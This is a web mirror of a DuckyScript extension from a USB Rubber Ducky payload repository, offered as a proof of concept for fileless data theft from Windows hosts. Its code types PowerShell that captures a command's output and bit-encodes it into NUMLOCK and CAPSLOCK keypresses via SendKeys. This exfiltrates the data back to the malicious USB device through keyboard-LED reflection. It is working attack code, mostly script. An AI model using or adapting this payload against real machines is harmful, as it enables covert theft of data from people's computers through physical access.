Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/extensions/community/WINDOWS_FILELESS_HID_EXFIL
2968 views
EXTENSION WINDOWS_FILELESS_HID_EXFIL
    REM VERSION 1.0
    REM AUTHOR: 0i41E

    REM_BLOCK DOCUMENTATION
        Extension for Keystroke Reflection data exfiltration without putting files on disk.
        This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.

        TARGET:
            Windows Hosts that supports powershell and SendKeys

        USAGE:
            Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.
            It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.

        Example Usage:
            GUI r
            DELAY 500
            STRINGLN powershell
            DELAY 1000
            STRING echo "This is my test"
            Windows_Fileless_HID_Exfil()
    END_REM

    FUNCTION Windows_Fileless_HID_Exfil()
        DELAY 250
        REM Saving current Keyboard lock keys
        SAVE_HOST_KEYBOARD_LOCK_STATE
        $_EXFIL_MODE_ENABLED = TRUE
        $_EXFIL_LEDS_ENABLED = TRUE
        DELAY 500
        REM Setting the output as variable
        STRING |Out-String|Set-Variable -Name "DD";
        REM Converting output into Lock Key values
        STRING $BL = $DD.ToCharArray();$c = "";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';
        REM Exfiltrating via Keystroke Reflection
        STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit
        REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.
        WAIT_FOR_SCROLL_CHANGE
        LED_G
        $_EXFIL_MODE_ENABLED = FALSE
        RESTORE_HOST_KEYBOARD_LOCK_STATE
    END_FUNCTION
END_EXTENSION